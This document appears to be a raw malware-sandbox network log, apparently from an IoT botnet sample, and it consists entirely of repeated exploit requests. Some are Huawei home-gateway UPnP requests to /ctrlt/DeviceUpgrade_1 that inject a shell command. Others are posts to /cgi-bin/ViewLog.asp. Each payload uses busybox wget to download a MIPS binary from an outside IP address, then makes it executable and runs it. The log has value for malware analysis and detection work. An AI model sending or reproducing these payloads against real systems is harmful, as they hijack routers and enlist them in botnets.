                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:06.521600962 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:15.481398106 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:34.936887980 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:11.799786091 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                466192.168.2.153534894.131.109.1488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:59.902925968 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                467192.168.2.155469831.136.68.508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:59.907628059 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:00.473803043 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:01.625756025 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:03.961639881 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.569634914 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.785429955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.984743118 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.847788095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                468192.168.2.155558031.136.162.2408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:59.908186913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:00.473793983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:01.625765085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:03.961632967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
